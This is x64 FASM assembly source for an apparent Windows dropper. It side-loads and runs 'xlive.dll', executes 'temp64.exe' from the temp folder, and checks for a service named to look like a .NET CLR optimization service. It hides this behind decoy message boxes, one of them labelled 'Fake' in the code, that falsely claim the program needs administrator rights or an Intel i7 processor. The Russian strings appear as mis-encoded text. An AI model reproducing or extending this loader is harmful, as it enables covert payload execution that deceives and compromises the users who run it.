format PE64 GUI 5.0
entry Main

include 'win64a.inc'

section '.data' data readable writeable

        szServiceName db "clr_optimization_v2.0.5066_32",0

        DllnotFound db "Dll xlive.dll not found.",0
        Alert db "Ïðîãðàììó íåîáõîäèìî çàïóñòèòü îò èìåíè Aäìèíèñòðàòîðà.",0
        Fake db "Ïðîãðàììà ïðåäíàçíà÷åíà äëÿ âûïîëíåíèÿ íà ïðîöåññîðàõ Intel i7 è âûøå.",0
        dllname db "xlive.dll",0
        maindll db "DllMain",0
        exename db "temp64.exe",0

        schSCManager dq ?
        hLib dq ?
        temp db 260 dup (?)

        ErrorBuff db 260 dup (?)
        sfc db '%d',0

section '.code' code readable executable

proc Main

        sub rsp,8*4

        lea rcx,[dllname]
        call LoadLibraryA

        call LastError

        cmp rax,0
        je .dllnotfound

        mov [hLib],rax

        invoke GetProcAddress,rax,maindll

        call rax

        invoke FreeLibrary,[hLib]

        invoke GetTempPathA,260,temp
        invoke lstrcatA,temp,exename
        invoke ShellExecuteA,0,0,temp,0,0,0

        invoke OpenSCManagerA,0,0,0F003Fh
        mov [schSCManager],rax

        invoke OpenServiceA,[schSCManager],szServiceName,10000h
        mov [schSCManager],rax

        cmp rax,0
        jz .exit

        invoke CloseServiceHandle,[schSCManager]
        invoke MessageBoxA,0,Fake,0,30h
        invoke ExitProcess,rax

.dllnotfound:

        invoke MessageBoxA,0,DllnotFound,0,10h
        invoke ExitProcess,rax
.exit:
        invoke CloseServiceHandle,[schSCManager]
        invoke MessageBoxA,0,Alert,0,30h
        invoke ExitProcess,rax
endp

proc LastError

     invoke GetLastError
     invoke wsprintfA,ErrorBuff,sfc,rax
     invoke MessageBoxA,0,ErrorBuff,0,00000030h
     ret

endp

section '.idata' import data readable

  library kernel,'KERNEL32.DLL',\
          user,'USER32.DLL',\
          shell,'SHELL32.DLL',\
          advapi,'ADVAPI32.DLL'

  import advapi,\
         OpenSCManagerA,'OpenSCManagerA',\
         OpenServiceA,'OpenServiceA',\
         CloseServiceHandle,'CloseServiceHandle'

  import kernel,\
         ExitProcess,'ExitProcess',\
         GetTempPathA,'GetTempPathA',\
         lstrcatA,'lstrcatA',\
         LoadLibraryA,'LoadLibraryA',\
         GetProcAddress,'GetProcAddress',\
         FreeLibrary,'FreeLibrary',\
         GetLastError,'GetLastError'

  import shell,\
         ShellExecuteA,'ShellExecuteA'

  import user,\
         MessageBoxA,'MessageBoxA',\
         wsprintfA,'wsprintfA'